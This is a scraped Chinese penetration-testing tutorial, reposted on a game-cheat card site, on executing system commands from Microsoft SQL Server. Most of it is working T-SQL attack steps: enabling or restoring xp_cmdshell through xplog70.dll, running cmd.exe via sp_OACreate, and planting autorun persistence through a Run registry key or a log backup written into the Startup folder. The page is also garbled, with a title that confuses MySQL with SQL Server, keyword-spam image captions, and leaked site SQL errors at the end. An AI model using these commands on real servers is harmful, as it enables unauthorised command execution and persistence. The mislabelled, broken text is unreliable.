mysql命令执行sql脚本 如何通过SQL Server执行系统命令?

09/11 06:13:58 来源网站:辅助卡盟网

mysql命令执行sql脚本 如何通过SQL Server执行系统命令?

0x00 简介

渗透测试过程中,大家经常会碰到通过MSSQL来进行提权或执行系统命令之类的操作,通常我们经常会使用xp_cmdshell来进行执行系统命令,但是当xp_cmdshell不能使用的时候,我们还有什么别的方式么?本文将介绍与分享一下我自己学到的一些姿势。

0x01 常用的一些姿势

1. XP_CMDSHELL

这个大家都比较熟悉了,通过xp_cmdshell来执行命令,可使用以下语句来执行:

exec master..xp_cmdshell "whoami"

默认情况下xp_cmdshell 是禁止的,如下图:

mysql执行存储过程脚本_mysql命令执行sql脚本_mysql命令执行sql文件

这个时候,可以使用以下命令进行开启:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

关闭一样,只是将上面的后面的那个”1”改成”0”就可以了。

开启以后,则可执行系统命令

mysql执行存储过程脚本_mysql命令执行sql文件_mysql命令执行sql脚本

如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句:

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

2. SP_OACREATE

当xp_cmdshell 删除以后,可以使用SP_OACreate。

首先要打开组件:

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

之后使用以下语句执行命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'

这里要注意一下,此方式执行是无回显的

mysql命令执行sql脚本_mysql执行存储过程脚本_mysql命令执行sql文件

3. 自启动

以下方式需要电脑重启。

添加注册表:

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','ipconfig'

备份添加启动项:

alter database test set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
create table cmd (a image)--  (新建立一个cmd表)
backup database test  to disk = 'D:\\temp\\cmd'  WITH init --
backup log test to disk = 'D:\\temp\\cmd1'  WITH init --  (减少备分数据的大小)
insert into cmd (a) values (0x0a406563686f206f66660d0a406563686f206f66660d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a40636d642e657865202f63206563686f2077686f616d69203e643a5c74656d705c332e7478740d0a400d0a40)
-- (插入cmd命令)
backup log test to disk = 'C:\\Documents and Settings\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat'-- (备分日志到启动路径)
drop table cmd --(删除新建的cmd表)
alter database test set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)

SQL Error: select * from ***_ecms_game where title like '%mysql命令执行sql脚本 如何通过SQL Server执行系统命令?%' or INSTR('mysql命令执行sql脚本 如何通过SQL Server执行系统命令?',title)>0 order by newstime desc limit 10

游戏推荐

更多>
    SQL Error: select * from ***_ecms_game where titlepic<>'' order by newstime desc limit 6